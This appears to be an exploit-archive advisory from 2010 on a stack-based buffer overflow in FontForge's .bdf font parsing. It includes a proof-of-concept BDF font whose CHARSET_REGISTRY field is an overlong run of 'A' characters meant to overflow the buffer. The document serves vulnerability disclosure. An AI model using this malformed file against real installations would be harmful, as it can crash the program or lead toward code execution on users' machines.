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FontForge .BDF Buffer Overflow

FontForge .BDF Buffer Overflow
Posted Dec 14, 2010
Authored by Ulrik Persson

FontForge version 0.0.20100501-2 is vulnerable to a .bdf file font file stack-based buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | 89e18269a2ce0ac9a0deb84e3e64b9bcd74d7342f689b5a63d8c76e42afc7f22

FontForge .BDF Buffer Overflow

Change Mirror Download
Source: http://www.securityfocus.com/bid/45162/info

FontForge is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

FontForge 0.0.20100501-2 is vulnerable; other versions may also be affected.

PoC:

STARTFONT 2.1
FONT -gnu-unifont-medium-r-normal--16-160-75-75-c-80-iso10646-1
SIZE 16 75 75
CHARSET_REGISTRY AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
FONTBOUNDINGBOX 16 16 0 -2
STARTPROPERTIES 2
FONT_ASCENT 14
FONT_DESCENT 2
ENDPROPERTIES
CHARS 1
STARTCHAR U+0041
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 8 16 0 -2
BITMAP
00
00
00
00
18
24
24
42
42
7E
42
42
42
42
00
00
ENDCHAR
ENDFONT

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